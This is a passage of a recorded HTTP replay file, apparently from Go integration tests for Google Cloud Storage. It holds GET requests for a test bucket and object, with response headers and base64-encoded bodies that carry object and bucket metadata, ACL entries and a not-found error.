M0MzIwMTMtMDAwMS9vL3NvbWUtb2JqZWN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg4MjczNTMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9zb21lLW9iamVjdC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODgyNzM1MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDUHJ5dDREeS9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvc29tZS1vYmplY3QvMTU1NjgzNTk4ODI3MzUzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vc29tZS1vYmplY3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg4MjczNTMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9zb21lLW9iamVjdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODgyNzM1MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDUHJ5dDREeS9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlNtMWdLdz09IiwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "ff3c05fe02cd38ac", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/some-object", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Etag": [ - "\"b4769c7d229f0720beffe7251bbabe8f\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:27:28 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:26:28 GMT" - ], - "X-Goog-Generation": [ - "1556835988273530" - ], - "X-Goog-Hash": [ - "crc32c=Sm1gKw==", - "md5=tHacfSKfByC+/+clG7q+jw==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqn6PsKCJsyZAhI_JtSOcVKs7SWuqYsoprQTUagoZXqu1CHWyBc1TzWfUyF9iv5VBS4iZPP5qz0Lf3b51p8O36Sud2-QS2zDg9FKhtm1uBFKLpcTOs" - ] - }, - "Body": "vcVTjdWWssp9XFk0D3Nk5w==" - } - }, - { - "ID": "d1c7cc7c0e1d2829", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/some-object?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3262" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Etag": [ - "CPryt4Dy/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqluzdkA1sUAJQJZodwWmM7SP7tNoX2JJjDiqHTy3XtjEqiVDNpI0whWTFJJH4caozRYjJPjTb6_ywm82dnAiYEo-YCknhlvkWexfTq1BM9MRWwQeg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vc29tZS1vYmplY3QiLCJuYW1lIjoic29tZS1vYmplY3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4ODI3MzUzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyOC4yNzNaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjguMjczWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI4LjI3M1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidEhhY2ZTS2ZCeUMrLytjbEc3cStqdz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NvbWUtb2JqZWN0P2dlbmVyYXRpb249MTU1NjgzNTk4ODI3MzUzMCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NvbWUtb2JqZWN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg4MjczNTMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9zb21lLW9iamVjdC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODgyNzM1MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDUHJ5dDREeS9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvc29tZS1vYmplY3QvMTU1NjgzNTk4ODI3MzUzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vc29tZS1vYmplY3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg4MjczNTMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9zb21lLW9iamVjdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODgyNzM1MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDUHJ5dDREeS9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlNtMWdLdz09IiwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "951f74cbe6b30b67", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Etag": [ - "CA0=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoMRpk7F0qXPvUV4uNPdV7VhfUO2Mm-qPBbx3VV92y1wRyElPF1kbRNEGJ1KqbIW5w2XozD7IzjxBx4KevqcPxZr0_E1iU1_NASedJ4lZj4EFoP9UI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyNS41MjdaIiwibWV0YWdlbmVyYXRpb24iOiIxMyIsImFjbCI6W3sia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQTA9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0EwPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0EwPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQTA9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0EwPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQTA9In1dLCJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6ZmFsc2V9fSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfSwibGlmZWN5Y2xlIjp7InJ1bGUiOlt7ImFjdGlvbiI6eyJ0eXBlIjoiRGVsZXRlIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjMwfX1dfSwibGFiZWxzIjp7ImwxIjoidjIiLCJuZXciOiJuZXcifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0EwPSJ9" - } - }, - { - "ID": "aadc7916a3fc24ad", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0021?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11805" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqhoAeZtt8ffiWaPr6J0LEaVR3vjerqtJ7gMM9BObOkz_6MtctDuS_s8-DZRxtTZsGfMDtekIKG2v8p2_sb3MxvTgeLhgO4vqvJNIszTaMjjyQcEdY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MTA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YTozMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5nZXQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjgzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5B